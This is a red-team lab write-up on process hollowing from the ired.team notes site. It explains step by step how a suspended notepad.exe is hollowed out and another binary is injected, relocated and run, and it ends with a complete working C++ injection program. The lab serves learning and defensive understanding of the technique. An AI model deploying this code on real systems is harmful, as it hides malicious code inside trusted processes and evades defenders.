Red Team Notes
  • What is ired.team notes?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
      • Active Directory Lab with Hyper-V and PowerShell
      • ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate
      • From Misconfigured Certificate Template to Domain Admin
      • Shadow Credentials
      • Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • regsvr32
      • MSHTA
      • Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • CMSTP
      • InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode Bypass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
      • Binary Exploitation
        • 32-bit Stack-based Buffer Overflow
        • 64-bit Stack-based Buffer Overflow
        • Return-to-libc / ret2libc
        • ROP Chaining: Return Oriented Programming
        • SEH Based Buffer Overflow
        • Format String Bug
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • Timestomping
      • Alternate Data Streams
      • Hidden Files
      • Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump Global Address List (GAL) from OWA
      • Application Window Discovery
      • Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • DLL Hijacking
      • WebShells
      • Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • Credentials in Registry
      • Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • WMI for Lateral Movement
      • RDP Hijacking for Lateral Movement with tscon
      • Shared Webroot
      • Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • Man-in-the-Browser via Chrome Extension
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • Schtask
      • Service Execution
      • Sticky Keys
      • Create Account
      • AddMonitor()
      • NetSh Helper DLL
      • Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • Screensaver Hijack
      • Application Shimming
      • BITS Jobs
      • COM Hijacking
      • SIP & Trust Provider Hijacking
      • Hijacking Time Providers
      • Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • Windows x64 Calling Convention: Stack Frame
      • Linux x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • Execution
  • Destination / Host Image
  • Destination ImageBaseAddress
  • Source Image
  • Source Image Size
  • Destination Image Unmapping
  • Allocating Memory In Destination Image
  • Copying Source Image Headers
  • Copying Source Image Sections to Destination Process
  • Relocation
  • Reading First Relocation Block
  • Getting Relocations Count
  • Relocating
  • Changing AddressOfEntryPoint
  • Update #1
  • Update #2
  • Code
  • References
  1. offensive security
  2. Code & Process Injection

Process Hollowing and Portable Executable Relocations

Code injection, evasion

PreviousLoading and Executing Shellcode From PE ResourcesNextAPC Queue Code Injection

Last updated 5 years ago

This lab is my attempt to better understand and implement a well known code injection technique called process hollowing, where a victim process is created in a suspended state, its image is carved out from memory, a malicious binary gets written instead and the program state is resumed to execute the injected code.

Although my implementation of process hollowing does not work with all binaries, I still found it valuable in doing this lab since the aim was to:

  • get a better understanding of the technique's technicalities under the hood

  • become a bit more comfortable with C++ and Windows APIs

  • get a bit more familiar with image relocations

  • become a bit more comfortable with inspecting / manipulating program's memory

  • get to do more PE parsing and PE relocations

The main reference resource for this lab was . Shout out to for a great debugging session and as usual, talking C to me!

If you need more info on parsing Windows PE files, see my previous lab:

Execution

You may notice that ImageBaseAddress varies across the screenshots. This is because I ran the binary multiple times and the ASLR played its role.

Destination / Host Image

Let's start calc.exe as our host / destination process - this is going to be the process that we will be hollowing out and attempt to replace it with cmd.exe.

Destination ImageBaseAddress

..and we also know that the ImageBaseAddressis 8 bytes away from the PEB:

So, in the code we can get the offset location like so:

Finally, we can then get the ImageBaseAddress by reading that memory location:

Let's confirm we got the right ImageBaseAddress:

dt _peb @$peb

We will come back to the hollowing the destination image located at ImageBaseAddress in a moment.

Source Image

Let's now switch gears to the source file - the binary that we want to execute inside the host/destination process. In my case it's - cmd.exe. I've opened the file, allocated required memory and read the file to that memory location:

Source Image Size

Let's get the SizeOfImage of the source image (cmd.exe) from its Optional Headers of the PE we just read - we need to know this value since we will need to allocate that much memory in the destination process (calc) in order to copy over the souce image (cmd):

Destination Image Unmapping

We can now carve / hollow out the destination image. Note how at the moment, before we perform the hollowing, the memory at address 01390000 (ImageBaseAddress) contains the calc.exe image:

Let's proceed with the hollowing:

If we check the ImageBaseAddress now, we can see the image is gone:

Allocating Memory In Destination Image

We now need to allocate a block of memory of size SizeOfImage in the destination process that will be our new ImageBaseAddress of the source image. Ideally, we would allocate new memory at ImageBaseAddress of the destination image, however I was getting an error ERROR_INVALID_ADDRESS,although I could see the memory at that address was properly unmapped. Additionally it was committed previously and contained the destination image:

Microsoft on ERROR_INVALID_ADDRESS:

If the address in within an enclave that you initialized, then the allocation operation fails with the ERROR_INVALID_ADDRESS error.

Although I did not use enclaves, I am not sure if Windows 10 did that for me as part of some API call I used or when loading the destination process in memory.

Interesting to note that even the main reference resource I used for this lab was failing with the same error.

For the above reason, I let the compiler decide where new memory will be allocated. After the memory has been allocated, we need to calculate the delta between the ImageBaseAddress of the destination image and the source image's preferred ImageBase- this is required for patching the binary during the relocations phase:

Copying Source Image Headers

We can now copy over the source image headers into the newly allocated memory in the destination process:

Copying Source Image Sections to Destination Process

Let's now get the first Section Header of the source file and make sure we are reading it correctly by comparing the details via a PE parser:

We can now copy over all the PE sections of the source file to the destination process. This loop will do it for us:

Below shows how a .text section is copied over from the disk to memory:

We can see the bytes on the disk (left) match those in memory (right), so we know the section was copied over successfully - the same will be done with other remaining sections:

Relocation

Now it's time to perform image base relocations.

Since our source image was loaded to a different ImageBaseAddress compared to where the destination process was loaded into initially, it needs to be patched in order for the binary to resolve addresses to things like static variables and other absolute addresses which otherwise would no longer work. The way the windows loader knows how to patch the images in memory is by referring to a relocation table residing in the binary.

Relocation table contains:

  • A number of variable sized relocation blocks for each memory page

  • Relocation block defines its Relative (to image base) Virtual Address location (first 4 bytes of the relocation block)

  • Relocation block specifies its size (bytes 5-8 from the beginning of the relocation block)

  • After the block size, there is a list of 2 byte pairs denoting the patching instructions, where the first 4 bits indicate relocation type and the remaining 12 bits signify the location of the bytes (relative to the image base) that actually need to be patched

Here's a diagram of the above points, where Block 1..N are relocation blocks and B1P-BNP are the required patch definitions (relocation type and relocation address) themselves:

This is how it looks like in the hex dump of a binary regshot.exe (see Updates to know why I switched the binaries):

In order to do relocations in code, we first need to find a pointer to the relocations table, which is essentially a .reloc section in our source binary:

Reading First Relocation Block

Now, let's get the information about the fist relocation block and make sure we are reading it correctly:

Getting Relocations Count

Since we know the relocation block size and the size of an individual relocation entry, we can work out how many relocations this block defines:

Relocating

Below loop will fix up the required memory locations. It works by:

  • finding the relocation table and cycling through the relocation blocks

  • getting the nuber of required relocations in each relocation block

  • reading bytes in the specified relocation addresses

  • applying delta (between source and destination imageBaseAddress) to the values specified in the relocation addresses

  • writing the new values to specified relocation addresses

  • repeating the above until the entire relocation table is traversed

Below shows how the loop iterates through the relocation entries (cross reference bottom right screen for RVAs) and patches the memory as seen in the top right corner:

Changing AddressOfEntryPoint

After the fix-ups are done, we need to capture the destination process thread context, since it conains a pointer to the eax register which we will need to update with AddressOfEntryPoint of the source image:

Once that is done, we can update the AddressOfEntryPoint of the source image, update the thread with the new entry point and resume the thread:

At this point, if we compile and run the program, our cmd.exe should be launched inside the hollowed out calc.exe. Unfortunately, in my lab environment, this failed with:

If you are reading this and you see what I have missed, as always, I want to hear from you.

Update #1

Below is a powershell one-liner that constantly checks if there's a notepad.exe process running (our destination process). Once found, it checks if a process *regshot* (our source binary) is running (to prove that it is not, since it should be hidden inside the notepad.exe) and breaks the loop:

while(1) { get-process | ? {$_.name -match 'notepad'} | % { $_; get-process "*regshot*"; break } }

Below shows this all in action - once the program is compiled and executed, notepad.exe is launched, powershell loop (top right) stops. Note how regshot.exe is not visible in the process list, however when closing it, notepad.exe gets killed together - the hollow is successful:

Update #2

Zooming in a bit further on the PE relocations:

  • Source image regshot.exe preferred image base is 00400000

  • Destination image notepad.exe image base got loaded into 00380000

  • Delta between images is 00400000 - 00380000 = 80000h

  • Bottom right shows that address in the destination image at address imageBase + 1210h needs to be fixed up using IMAGE_REL_BASED_HIGHLOWrelocation type

    • Relocation type is worked out by taking the first 4 bits of the value stored in the relocation entry block, which in this case is 3210h - bottom left screenshot or bottom right (data column)

    • 3210h in bits - 0011 0010 0001 0000 and the first 4 bits are 0011 which is 3 in decimal

  • Top right (source image / notepad) shows that at 00381210 (00380000 + 1210h = 00381210) the value contained is 0040E7A5, suggesting the address is based on the preferred image base of regshot since it starts with 0040xxxx

  • 0040E7A5 would work OK for regshot if its image had been loaded at 00400000, but since it got loaded instead of notepad's image base at 00380000, it needs to be patched by applying the delta (80000h) between images like so:

0040E7A5−80000h=38E7A50040E7A5 - 80000h = 38E7A50040E7A5−80000h=38E7A5

After executing the code line 118 (top left in the screenshot above), 0040E7A5 got patched to the new location 0038E7A5 matching the new image base 00380000that of notepad.exe (destination process):

Code

process-hollowing.cpp
// process-hollowing.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

int main()
{
	// create destination process - this is the process to be hollowed out
	LPSTARTUPINFOA si = new STARTUPINFOA();
	LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
	PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
	DWORD returnLenght = 0;
	CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
	HANDLE destProcess = pi->hProcess;

	// get destination imageBase offset address from the PEB
	NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
	DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8; 
	
	// get destination imageBaseAddress
	LPVOID destImageBase = 0;
	SIZE_T bytesRead = NULL;
	ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead);

	// read source file - this is the file that will be executed inside the hollowed process
	HANDLE sourceFile = CreateFileA("C:\\temp\\regshot.exe", GENERIC_READ,	NULL, NULL, OPEN_ALWAYS, NULL, NULL);
	DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
	LPDWORD fileBytesRead = 0;
	LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
	ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
	
	// get source image size
	PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
	PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
	SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;

	// carve out the destination image
	NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
	myNtUnmapViewOfSection(destProcess, destImageBase);

	// allocate new memory in destination image for the source image
	LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	destImageBase = newDestImageBase;

	// get delta between sourceImageBaseAddress and destinationImageBaseAddress
	DWORD deltaImageBase = (DWORD)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

	// set sourceImageBase to destImageBase and copy the source Image headers to the destination image
	sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
	WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);

	// get pointer to first source image section
	PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
	PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
	int err = GetLastError();

	// copy source image sections to destination
	for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
	{
		PVOID destinationSectionLocation = (PVOID)((DWORD)destImageBase + sourceImageSection->VirtualAddress);
		PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
		WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
		sourceImageSection++;
	}

	// get address of the relocation table
	IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	
	// patch the binary with relocations
	sourceImageSection = sourceImageSectionOld;
	for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
	{
		BYTE* relocSectionName = (BYTE*)".reloc";
		if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) 
		{
			sourceImageSection++;
			continue;
		}

		DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
		DWORD relocationOffset = 0;

		while (relocationOffset < relocationTable.Size) {
			PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
			relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
			DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
			PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

			for (DWORD y = 0; y < relocationEntryCount; y++)
			{
				relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

				if (relocationEntries[y].Type == 0)
				{
					continue;
				}

				DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
				DWORD patchedBuffer = 0;
				ReadProcessMemory(destProcess,(LPCVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead);
				patchedBuffer += deltaImageBase;

				WriteProcessMemory(destProcess,	(PVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), fileBytesRead);
				int a = GetLastError();
			}
		}
	}

	// get context of the dest process thread
	LPCONTEXT context = new CONTEXT();
	context->ContextFlags = CONTEXT_INTEGER;
	GetThreadContext(pi->hThread, context);

	// update dest image entry point to the new entry point of the source image and resume dest image thread
	DWORD patchedEntryPoint = (DWORD)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
	context->Eax = patchedEntryPoint;
	SetThreadContext(pi->hThread, context);
	ResumeThread(pi->hThread);

	return 0;
}

References

What an amazing resource for those interested in detecting process hollowing using memory forensics techniques:

Now, in order to hollow out the destination process, we need to know its ImageBaseAddress. We can get the location of image base address from the structure of the host process via WinDBG - we know that the PEB is located at 0100e000:

If this address is within an enclave that you have not initialized by calling , VirtualAllocEx allocates a page of zeros for the enclave at that address. The page must be previously uncommitted, and will not be measured with the EEXTEND instruction of the Intel Software Guard Extensions programming model.

See for more:

I must have messed something up along the way. Having said that, I tried compiling and running the POC provided at and cross referenced results of my program with the POC - everything matched up, includig the final error :)

After talking to , the issue I was having with in the destination process at the ImageBaseAddress is now magically gone (?). This means that I can now perform process hollowing and I will be using notepad.exe (line 28) as the destination process and regshot.exe (line 42) will be written to the hollowed notepad.exe process:

PEB
InitializeEnclave
https://github.com/m0n0ph1/Process-Hollowing
Parsing PE File Headers with C++
Update #2
@mumbai
memory allocation
https://github.com/m0n0ph1/Process-Hollowing
Mumbai
Parsing PE File Headers with C++
GitHub - m0n0ph1/Process-Hollowing: Great explanation of Process Hollowing (a Technique often used in Malware)GitHub
Detecting Deceptive Process Hollowing Techniques Using HollowFind Volatility Plugin - CysinfoCysinfo
Process Injection: Process Hollowing, Sub-technique T1055.012 - Enterprise | MITRE ATT&CK®
Logo
injectopi/FullCopy at master · peperunas/injectopiGitHub
Logo
Logo
Logo
Not sure if this is the main reason the lab failed.